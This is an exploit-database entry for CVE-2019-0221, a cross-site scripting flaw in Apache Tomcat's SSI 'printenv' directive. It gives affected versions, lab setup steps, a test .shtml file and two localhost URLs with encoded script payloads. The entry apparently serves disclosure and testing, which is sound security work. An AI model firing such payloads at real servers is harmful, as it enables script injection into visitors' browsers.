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Central InfoSec1337DAY-ID-36546

HistoryJul 13, 2021 - 12:00 a.m.

Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS) Vulnerability

2021-07-1300:00:00

Central InfoSec

0day.today

187

apache tomcat

cross-site scripting

vulnerability

ssi support

proof of concept

cve-2019-0221

firefox

java runtime environment

jre

tomcat installation

EPSS

0.011

Percentile

84.5%

JSON

# Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93
# CVE : CVE-2019-0221

# Requirements:

# SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default.

# A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application.

# The file must be accessible.



# Proof of Concept:

# Install a Java Runtime Environment (JRE)

# Download a vulnerable version of Tomcat and extract the contents

# Modify line 19 of the conf\context.xml file to globally enable privileged context
Context privileged="true">

# Modify conf\web.xml to enable the SSI Servlet as per the Apache Tomcat User Guide

# Put the following code in "webapps/ROOT/ssi/printenv.shtml"
<html>
  <body>
    Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/>
    Printenv: <!-- #printenv -->
  </body>
</html>

# Run Tomcat
cd bin
catalina run

# Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properly
http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E